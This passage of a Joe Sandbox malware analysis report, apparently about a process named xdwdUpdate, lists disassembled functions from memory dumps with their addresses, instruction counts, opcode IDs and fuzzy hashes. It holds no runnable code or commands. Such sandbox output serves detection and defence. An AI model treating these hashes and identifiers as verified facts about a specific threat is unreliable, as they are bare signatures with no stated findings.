                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: f44db2a4bc6862eb4af40fe66a614919c35a233ca5d4b12a9bc97b0434c674d4
                                                                                                                                                                            • Instruction ID: 3afe86b24f52c3c1c70017d288e97afae2a5e19f094d4d59bee74c27515806ea
                                                                                                                                                                            • Opcode Fuzzy Hash: f44db2a4bc6862eb4af40fe66a614919c35a233ca5d4b12a9bc97b0434c674d4
                                                                                                                                                                            • Instruction Fuzzy Hash: 8511CA19D3D2EF8AFBB16328A0655F53A905F15311F0600B3D86C9B5E2F95C2CC1D385
                                                                                                                                                                            Function 00007FFE6F7EBF41 Relevance: .1, Instructions: 54COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 8c9802fa0c4defa017e50c3cdafe11f62e11939ee689083435ba913d80d8e424
                                                                                                                                                                            • Instruction ID: 341dd2d66d0dcbc7506330fb89789fd21dd2b1e45089a2417b8ecd307b602a6a
                                                                                                                                                                            • Opcode Fuzzy Hash: 8c9802fa0c4defa017e50c3cdafe11f62e11939ee689083435ba913d80d8e424
                                                                                                                                                                            • Instruction Fuzzy Hash: B901D62AD3EA9D4AF721032874B50F87BD0DF45321F5941B3D91C871E5F81E3C420285
                                                                                                                                                                            Function 00007FFE6F7E24DD Relevance: .0, Instructions: 49COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 7de4dba63cb7f1a5167357495b169248ebbad05e4a8e19eff30c483c7e190674
                                                                                                                                                                            • Instruction ID: 7de551a0593e45137f5a118c95a6fce76c33e48d03e355ad486fbcaf2978548e
                                                                                                                                                                            • Opcode Fuzzy Hash: 7de4dba63cb7f1a5167357495b169248ebbad05e4a8e19eff30c483c7e190674
                                                                                                                                                                            • Instruction Fuzzy Hash: 84014C16E3D48F86FB606B68D5353FD6142AB90314F9605B5E01E871E6FD2CB9528680
                                                                                                                                                                            Function 00007FFE6F7EF785 Relevance: .0, Instructions: 48COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 5e3216b74a8705fcbda675ae71ed94a91ff52f5551d9d99ee89dc60d54c1da5f
                                                                                                                                                                            • Instruction ID: a42d76e434b35bfff3c8d55d969098bf91efb7c8d89387d73ce0d0993388db46
                                                                                                                                                                            • Opcode Fuzzy Hash: 5e3216b74a8705fcbda675ae71ed94a91ff52f5551d9d99ee89dc60d54c1da5f
                                                                                                                                                                            • Instruction Fuzzy Hash: AFF04971B0C6054AA61C6E2C74531BEB7D2EBC8320B1042BFF14FC22E7DE2AA8134589
                                                                                                                                                                            Function 00007FFE6F7EF7EA Relevance: .0, Instructions: 46COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: d47e50242d69386c563bf0070cc8be9d3dc6cfb5b3ec562549a1e4685091251b
                                                                                                                                                                            • Instruction ID: 2f843c03e393edc0e4a68f2892d4f919431df6efbd290510518cf88462aacaf3
                                                                                                                                                                            • Opcode Fuzzy Hash: d47e50242d69386c563bf0070cc8be9d3dc6cfb5b3ec562549a1e4685091251b
                                                                                                                                                                            • Instruction Fuzzy Hash: EDF0E2F394D24D2EFB186959BC079FA3798DB83274F00113FF14E82562F816B42782A1
                                                                                                                                                                            Function 00007FFE6F7EAD3C Relevance: .0, Instructions: 42COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: f722ed78cd68e10f74ece1f49af899d9ed887a1932d2e1e6a79058164b133fc2
                                                                                                                                                                            • Instruction ID: 3734ec13e3c3c8a1b6f1bbb6249fd236bf220fd4636158beac93e7720ba1219c
                                                                                                                                                                            • Opcode Fuzzy Hash: f722ed78cd68e10f74ece1f49af899d9ed887a1932d2e1e6a79058164b133fc2
                                                                                                                                                                            • Instruction Fuzzy Hash: 15F03130E35A1D8FE785EB2884552FC72E2EF58701B40007AE41DD72B6EE286C418740
                                                                                                                                                                            Function 00007FFE6F7E36EA Relevance: .0, Instructions: 41COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 07c071105577059c1fc2ffad9bbf8c118037af1f5f91e359d41ca4c9f32887d9
                                                                                                                                                                            • Instruction ID: 7bdbba8cdd0adc227e67af652e281716a06ee49eda4f9b52d89e68d5fa30e6ab
                                                                                                                                                                            • Opcode Fuzzy Hash: 07c071105577059c1fc2ffad9bbf8c118037af1f5f91e359d41ca4c9f32887d9
                                                                                                                                                                            • Instruction Fuzzy Hash: 61F06D35E3657D8EFA94773890926B936D1AB4D330F8504B6D81DDB2A6ED2C7CC20680
                                                                                                                                                                            Function 00007FFE6F7EDC96 Relevance: .0, Instructions: 39COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 5316b1fc6082dc3c93fab3d8f9316b0d508860b591cae838235dd056bd6f1b1f
                                                                                                                                                                            • Instruction ID: 8bb5361f05a897f3bf78fe35bde6745e31e327101a7bdb7c51a3d7c2cb1c7150
                                                                                                                                                                            • Opcode Fuzzy Hash: 5316b1fc6082dc3c93fab3d8f9316b0d508860b591cae838235dd056bd6f1b1f
                                                                                                                                                                            • Instruction Fuzzy Hash: E5F05415B79C4F4EE555F71C50651FD6283FFD8250B584273E42EC31B5EE2878134281
                                                                                                                                                                            Function 00007FFE6F7E3718 Relevance: .0, Instructions: 38COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 66432ba3ea44995efedcb49930e2a8601944034133bf7606e5feae298a6943b7
                                                                                                                                                                            • Instruction ID: 36fcb191104179ec1ca86df5797fc17b7dccb86af45a136fa6d34caa7b27c295
                                                                                                                                                                            • Opcode Fuzzy Hash: 66432ba3ea44995efedcb49930e2a8601944034133bf7606e5feae298a6943b7
                                                                                                                                                                            • Instruction Fuzzy Hash: 8CF05E26F3A56D8AFBA4773854622F82681DB892B0F450577E81DDB2E6FC1D6C824380
                                                                                                                                                                            Function 00007FFE6F7E8D80 Relevance: .0, Instructions: 37COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: b3d85237da7be858c83fd06f30b99e36331d9e52fe89ccaf081ed0fe2ed33ea2
                                                                                                                                                                            • Instruction ID: 8d572340e0be175106e4db5e895e79c58b552a3dd9a3697668fbf1d4ea3beec7
                                                                                                                                                                            • Opcode Fuzzy Hash: b3d85237da7be858c83fd06f30b99e36331d9e52fe89ccaf081ed0fe2ed33ea2
                                                                                                                                                                            • Instruction Fuzzy Hash: DBF0F011E2F9CE4AF68AA72824705F979919F69320F84403FD668951E2FC1C68858243
                                                                                                                                                                            Function 00007FFE6F7E9E58 Relevance: .0, Instructions: 35COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 538b1266d34c07e300952f79aaf0f35f161d19c7723a24056adcee76cc235fac
                                                                                                                                                                            • Instruction ID: 5c0aeab382b43afc7eb48f406cfb19f6a95c631ee1208514d3405709d586228c
                                                                                                                                                                            • Opcode Fuzzy Hash: 538b1266d34c07e300952f79aaf0f35f161d19c7723a24056adcee76cc235fac
                                                                                                                                                                            • Instruction Fuzzy Hash: E9E0A022A2D9C98FE760972CD4A10A8BAE0EF2A310B0900E7D499C71B2E558AC818302
                                                                                                                                                                            Function 00007FFE6F7E8DB8 Relevance: .0, Instructions: 32COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 716016667bdd45cdcc91efaf350ea773cf07acc105b2467aa748c1d08b1f3403
                                                                                                                                                                            • Instruction ID: 268d24e6018c399cd742d0a9d36c2b4fcc21c245245f6c6c97a7cce8fa39e569
                                                                                                                                                                            • Opcode Fuzzy Hash: 716016667bdd45cdcc91efaf350ea773cf07acc105b2467aa748c1d08b1f3403
                                                                                                                                                                            • Instruction Fuzzy Hash: 00E06D15E3ECDF46E699A32824711F835D1EFA8210B880036D529D22E1FD4C78454286
                                                                                                                                                                            Function 00007FFE6F7EF773 Relevance: .0, Instructions: 29COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 623c3e3d5bf95c77bb2734e052defd66a0334c55c22d1741236fedf9df49c1a4
                                                                                                                                                                            • Instruction ID: c828eaa7f65ee365f8740c1033b1a6de30adff1d624ce4109fd8a601ea4603a3
                                                                                                                                                                            • Opcode Fuzzy Hash: 623c3e3d5bf95c77bb2734e052defd66a0334c55c22d1741236fedf9df49c1a4
                                                                                                                                                                            • Instruction Fuzzy Hash: 2BE0C23AB5C52A4EA91CAA0D34031FCB382DBCA230B90407BF20EC25E7ED17B81301C8
                                                                                                                                                                            Function 00007FFE6F7EFFDE Relevance: .0, Instructions: 27COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: f7f14ecb0f4498fe2d6f5d35404bcc1524aa5144f28b3e8c1bbf93f980cdfabe
                                                                                                                                                                            • Instruction ID: b36a1a7db56cf161b13c8dd667771e7e6c8b2d5d0fc4509066a800f091a7302a
                                                                                                                                                                            • Opcode Fuzzy Hash: f7f14ecb0f4498fe2d6f5d35404bcc1524aa5144f28b3e8c1bbf93f980cdfabe
                                                                                                                                                                            • Instruction Fuzzy Hash: 6BD05E16B7ED7F8A6484B31C34622FCA3C1DB8857174002BBD41DC2296EC0E3D4302C5
                                                                                                                                                                            Function 00007FFE6F7EDCDC Relevance: .0, Instructions: 27COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 9cc3a1e534b59b2ce548e009be4783355ecda8e917d5b36f511f587085235f1a
                                                                                                                                                                            • Instruction ID: 14d5a39d6bba4aa1ae8f22208faf149abe19131e4b0da923d09e7912bec277d1
                                                                                                                                                                            • Opcode Fuzzy Hash: 9cc3a1e534b59b2ce548e009be4783355ecda8e917d5b36f511f587085235f1a
                                                                                                                                                                            • Instruction Fuzzy Hash: 6FE05B2BB68C9E456990E65D70111FD7383EBD4171F140577E51DC32B1ED19295342C5
                                                                                                                                                                            Function 00007FFE6F7E9E08 Relevance: .0, Instructions: 22COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 311400e7aa3743a50e222eb6b456b1f606c194053a735b615aceb0bd9403ddab
                                                                                                                                                                            • Instruction ID: 7312823f9b3ea596db661dc66d345b08982c90d84614a9e715ac4163233df1ca
                                                                                                                                                                            • Opcode Fuzzy Hash: 311400e7aa3743a50e222eb6b456b1f606c194053a735b615aceb0bd9403ddab
                                                                                                                                                                            • Instruction Fuzzy Hash: 90E0E631A2588E8FEAB0974CD1945E872E0EF69310F150472F59DC71B5EA68EC814742
                                                                                                                                                                            Function 00007FFE6F7EC1BA Relevance: .0, Instructions: 19COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 186b076e6c4b3ba6525098acacbf2a869feea56263cec0d2ba6828f0fd045b70
                                                                                                                                                                            • Instruction ID: 24ef77c0e9def09f410930e83b2ce6542bfb1a2701f0ba69f3124aed5148fc36
                                                                                                                                                                            • Opcode Fuzzy Hash: 186b076e6c4b3ba6525098acacbf2a869feea56263cec0d2ba6828f0fd045b70
                                                                                                                                                                            • Instruction Fuzzy Hash: 4FD02B3451554CCEDF409B9494153FD7764FF44312F80003AD00FD11C1CA759464C380
                                                                                                                                                                            Function 00007FFE6F7EC900 Relevance: .0, Instructions: 18COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 3f3b1bf5a7bd87e7d7fdf4b0c4d81e9e23d234aa884bb541067415c54621568e
                                                                                                                                                                            • Instruction ID: c98c96a7891347ebadd8514552c1fd23997f56928c954fa88470576e87df9ff9
                                                                                                                                                                            • Opcode Fuzzy Hash: 3f3b1bf5a7bd87e7d7fdf4b0c4d81e9e23d234aa884bb541067415c54621568e
                                                                                                                                                                            • Instruction Fuzzy Hash: DFD0E904B79C8D4A65C9B32C106A2BD54D39BD911175445BBE41ED72B6ED1868831241
                                                                                                                                                                            Function 00007FFE6F7E98D0 Relevance: .0, Instructions: 17COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 558df617a2f6285c81ebe1faf6aa7c0e76d86c84f8b5bb7c5aded4fc4bc37466
                                                                                                                                                                            • Instruction ID: 318d725b7622c60937d825bcabdc0290a00d6cdff4498efdf3dccb135a243fbd
                                                                                                                                                                            • Opcode Fuzzy Hash: 558df617a2f6285c81ebe1faf6aa7c0e76d86c84f8b5bb7c5aded4fc4bc37466
                                                                                                                                                                            • Instruction Fuzzy Hash: 07D01224C9984F45EB08BBA484016EDB5A0DF50220F08407C940C92576DA6C7192C641
                                                                                                                                                                            Function 00007FFE6F7E882D Relevance: .0, Instructions: 16COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 364cde531bc2ce9553e7521e3ac0415d26a058430e064c17655883e1f8f04cd2
                                                                                                                                                                            • Instruction ID: 2792d43f3b0ded14bfd80777be3e4830cae8989e7ffb213226529d03f4a49dcf
                                                                                                                                                                            • Opcode Fuzzy Hash: 364cde531bc2ce9553e7521e3ac0415d26a058430e064c17655883e1f8f04cd2
                                                                                                                                                                            • Instruction Fuzzy Hash: 9ED01221B1490D5F5640FA1C949DAF973C3E7EC6517144136D41DC3275EE34E9478381
                                                                                                                                                                            Function 00007FFE6F7E9E46 Relevance: .0, Instructions: 16COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: bf968eb4b68e0a070b4be475b635fea84dda850a8a802297681da0929a659aa0
                                                                                                                                                                            • Instruction ID: 5b755170ffb5b259939d197239eef7a3fcb408ca599c9bbb36e2bd2661409a6f
                                                                                                                                                                            • Opcode Fuzzy Hash: bf968eb4b68e0a070b4be475b635fea84dda850a8a802297681da0929a659aa0
                                                                                                                                                                            • Instruction Fuzzy Hash: 7AD0123161480C8FD790EB4CF0949A537E1FF5D31135500D1D05DCB265E665EC818741
                                                                                                                                                                            Function 00007FFE6F7E852E Relevance: .0, Instructions: 15COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 0ce1bbe172b35297ee6109a5e3f0c58da185daa794d3449dfc0e74b9f9b7e8e0
                                                                                                                                                                            • Instruction ID: eff638140ee11c2f3abc0afd16234e58e5406f87a44cd365e617cd1958a3bb99
                                                                                                                                                                            • Opcode Fuzzy Hash: 0ce1bbe172b35297ee6109a5e3f0c58da185daa794d3449dfc0e74b9f9b7e8e0
                                                                                                                                                                            • Instruction Fuzzy Hash: B2D0223062B30C89EB182B3828120EC36A08F00261B9004BEE804CA1A3E82EC0C18300
                                                                                                                                                                            Function 00007FFE6F7ED3AF Relevance: .0, Instructions: 10COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: f3a190f26d8eb944efc31ee749313b15436920d8eaf3696423d1453e4ddf6964
                                                                                                                                                                            • Instruction ID: a2d04c5f787a10bf939d2c159af37438c1ff48014382ee76e1720a568cbbdfcc
                                                                                                                                                                            • Opcode Fuzzy Hash: f3a190f26d8eb944efc31ee749313b15436920d8eaf3696423d1453e4ddf6964
                                                                                                                                                                            • Instruction Fuzzy Hash: A3A011333CA80800A000008A3C820C8B308E8C003A2AA20A3EA0CC0A00828B08A20282
                                                                                                                                                                            Function 00007FFE6F7ED547 Relevance: .0, Instructions: 9COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: e32ca8a24273ea120de7f6022c598d962270a60d5371a22f511657fd698bccb5
                                                                                                                                                                            • Instruction ID: bb7e03881513b5d73f752b6935e5f679da8136eddea89d118cb8bdd76b373955
                                                                                                                                                                            • Opcode Fuzzy Hash: e32ca8a24273ea120de7f6022c598d962270a60d5371a22f511657fd698bccb5
                                                                                                                                                                            • Instruction Fuzzy Hash: 02A0022B7E682901E6001CEEBC130E8F345C9D107A78B1473EE6CCAA94DADB45A70195
                                                                                                                                                                            Function 00007FFE6F7EB595 Relevance: .0, Instructions: 9COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 68aa29651a8d15f880a10523208dedef2355871427557606aed191a24c88c89a
                                                                                                                                                                            • Instruction ID: 651a18958ba05d8d7a4306b9a6f9d840eecb9a79b001315aa7c06f4e0a4c2b63
                                                                                                                                                                            • Opcode Fuzzy Hash: 68aa29651a8d15f880a10523208dedef2355871427557606aed191a24c88c89a
                                                                                                                                                                            • Instruction Fuzzy Hash: 39B0921223590C5A9344E319846A5F97290EBAC119B40092AA88AC21A1FC00AAC28345
                                                                                                                                                                            Function 00007FFE6F7F08DC Relevance: .0, Instructions: 8COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 203ee90a254fab720f988a0b5ed64cd99c86226384536e19785ee95378a8c302
